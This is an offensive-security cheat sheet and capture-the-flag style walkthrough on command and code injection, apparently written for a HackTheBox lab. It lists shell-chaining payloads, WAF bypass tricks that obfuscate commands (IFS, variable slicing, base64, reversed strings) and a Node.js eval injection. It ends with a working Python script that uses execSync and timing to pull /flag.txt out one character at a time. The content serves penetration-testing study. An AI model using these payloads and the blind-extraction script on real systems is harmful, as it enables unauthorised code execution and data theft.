Command Injection#
We terminate the previous command and run our command
Check each ; %26 %0a %26%26 || | and see if we can get through
# Run 2 commands regardless
curl -s "http://$target/ping?ip=127.0.0.1;id"
# 1st runs on background and runs 2nd
curl -s "http://$target/ping?ip=127.0.0.1%26id"
# Run both %0a is newline '\n'
curl -s "http://$target/ping?ip=127.0.0.1%0aid"
# Run 2nd if 1st success
curl -s "http://$target/ping?ip=127.0.0.1%26%26id"
# Run 2nd if first fail
curl -s "http://$target/ping?ip=127.0.||id"
# Pipe
curl -s "http://$target/ping?ip=127.0.0.1|id"Blacklisted/WAF bypass#
Space %20#
Use tab %09, $IFS, and
Braces {ls.-la}, yes it works with sh, on linux
Forward slash /#
Use ${PATH:0:1}, ${HOME:0:1}, ${PWD:0:1}
Semi-colon ;#
Use ${LS_COLORS:10:1}
Backslash \#
Consider %HOMEPATH is \User\www-data, ~6 is starting position, -9 is the negative end position, which is the negative of number of character in username + 1. (Windows is weird)
echo %HOMEPATH:~6,-11%Same command in powershell
$env:HOMEPATH[0]
$env:PROGRAMFILES[10]Commands#
If WAF is blockinng some commands like whoami, id
Linux sh#
# Quotes doesn't matter to sh
w'h'o'am'i
w"h"o"am"i
# idk
who$@ami
w\ho\am\i
# convert all UPPERCASE to lowercase
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
# Reverse
$(rev<<<'imaohw')
$(echo 'imaohw' | rev)
# Base64 encoded
$(base64 -d<<<d2hvYW1p)
$(echo 'd2hvYW1p' | base64 -d)
bash<<<$(base64 -d<<<d2hvYW1p)
bash<<<$(echo 'd2hvYW1p' | base64 -d)Windows#
who^ami
WhOaMi
# Reverse
iex "$('imaohw'[-1..-20] -join '')"Base64 encoded:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))or:
echo -n whoami | iconv -t utf-16le | base64Execute:
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"Code injection#
The target source code in this scenario is a node.js webapp. It runs eval using onError parameter
function validateString(input, onError) {
if (
typeof input !== "string" ||
input.length == 0 ||
input.match(/['"`;]/g)
) {
eval(onError);
return false;
}
return true;
}The webapp call the function validateString like this. The first param is test, and the second is error message. If the role is admin, it gives more verbose error message
Link this with the code above, we can see that this is the onError parameter, which contains user input, which we can inject our own code into
!validateString(
text,
// provide verbose error message 'for admins only'
role === "admin"
? `throw({message: 'The input "${text}" contains the following invalid characters: [${text.match(
/['"`;]/g
)}]', statusCode: 403})`
: "throw({message: 'Invalid input', statusCode: 403})"
);Injection#
Terminate#
Now back to the original code. We have to somehow terminate the previous command, which we can inject this:
'})Which will result in this code
throw({message: 'The input "'})" contains the following invalid characters: [${text.match(/['"`;]/g)}]', statusCode: 403})
However, the rest of the code will make this whole code throw syntax error, so we need to comment the rest of it
'})//
Resulting in this code
throw({message: 'The input "'})//" contains the following invalid characters: [${text.match(/['"`;]/g)}]', statusCode: 403})
Code execution#
Now we can try executing some code. A quick one liner to execute code in JS is this:
require('child_process').execSync('sleep 2')We need to inject it in between the terminator and the comment, like this
'}); require('child_process').execSync('sleep 2')//
Which will result in this code:
throw({message: 'The input "'}); require('child_process').execSync('sleep 2')//" contains the following invalid characters: [${text.match(/['"`;]/g)}]', statusCode: 403})
However, when we try the above, it doesn’t do anything. This is because in JS, any line of code after throw will not be executed
When we use ;, JS interprets it as another line. So we need to use something else, like +
'})+require('child_process').execSync('sleep 2')//
Which will result in this code:
throw({message: 'The input "'})+require('child_process').execSync('sleep 2')//" contains the following invalid characters: [${text.match(/['"`;]/g)}]', statusCode: 403})
After we do this, we can see the response is delayed 2 seconds. This proves our code execution. However, we only get a generic error with 500 HTTP response code, which doesn’t show the output of our command
HTTP response exfiltration#
Now we need a way for the webapp to actually send us our command output. We can convert the command output to a string with toString(), like this:
require('child_process').execSync('ls').toString()The reason the webapp throw a 500 instead of 403 with error message is because the webapp has code to handle error.
If we specify status code to be 403, it will spit out the message, if we don’t , it will just spits out generic 500 message, which is bad for us
catch (e) {
if (e.statusCode === 403) {
return next(e);
} else {
return next({
message: "Could not generate QR code.",
statusCode: 500,
});
}
}So we need to force the webapp to respond 403. We can do it with this:
', statusCode: 403})//
Which will result in this code:
throw({message: 'The input "', statusCode: 403})//" contains the following invalid characters: [${text.match(/['"`;]/g)}]', statusCode: 403})
And now we can inject our command output into the message, like this. In JS, + on 2 strings means concatenation
'+require('child_process').execSync('ls').toString(), statusCode: 403})//
Which will result in this code:
throw({message: 'The input "'+require('child_process').execSync('ls').toString(), statusCode: 403})//" contains the following invalid characters: [${text.match(/['"`;]/g)}]', statusCode: 403})
And now we can test the code like this:
$ curl http://localhost:5000/api/service/generate \
-H 'Authorization: Bearer ...' \
-H 'Content-Type: application/json' \
-d "{\"text\": \"'+require('child_process').execSync('ls').toString(), statusCode: 403})//"
{"message":"The input \"uid=1000(kali) (adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),107(bluetooth),124(lpadmin),132(wireshark),134(kaboxer),135(docker)\n"}Time-based output exfiltration#

See Syntax Cheatsheets/Shell-fu#Time-based output brute force
We can brute-force command output 1 character at a time like this. This command delay 2 sec if the N position (starts at 1) character is "a"
id | head -c <N> | tail -c 1 | { read c; if [ "$c" = "a" ]; then sleep 2; fi; }Script writing time…
import requests
import json
import time
import base64
DELAY = 3
URL="http://94.237.51.160:34977"
def getToken():
data={
"email": "hacker@hackthebox.com"
}
response = requests.post(f"{URL}/api/auth/authenticate",
json=data,
)
token = response.json()['token']
return token
def oracle(token, payload):
data = {
"text": "'"+'}'+f")+require('child_process').execSync('echo \"{payload}\" | base64 -d | bash')//"
}
headers= {
"Authorization": f"Bearer {token}"
}
start = time.time()
response = requests.post(f"{URL}/api/service/generate",
json=data,
headers=headers,
)
return time.time() - start > DELAY
def getLength(command):
low = 0
high = 100
while low <= high:
mid = (low + high) // 2
query = f"if (( \"$({command} | wc -c)\" > {mid} )); then sleep {DELAY}; fi;"
payload = base64.b64encode(query.encode("utf-8")).decode("ascii")
if not oracle(token, payload):
high = mid -1
else:
low = mid + 1
return low
token = getToken()
command = 'cat /flag.txt'
length = getLength(command)
for i in range(1, length+1):
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
query = f"{command} | head -c {i} | tail -c 1 | "+'{ '+f"read c; if [[ \"$c\" > '{chr(mid)}' ]]; then sleep {DELAY}; fi;"+' }'
payload = base64.b64encode(query.encode("utf-8")).decode("ascii")
if not oracle(token, payload):
high = mid -1
else:
low = mid + 1
print(chr(low), end="", flush=True)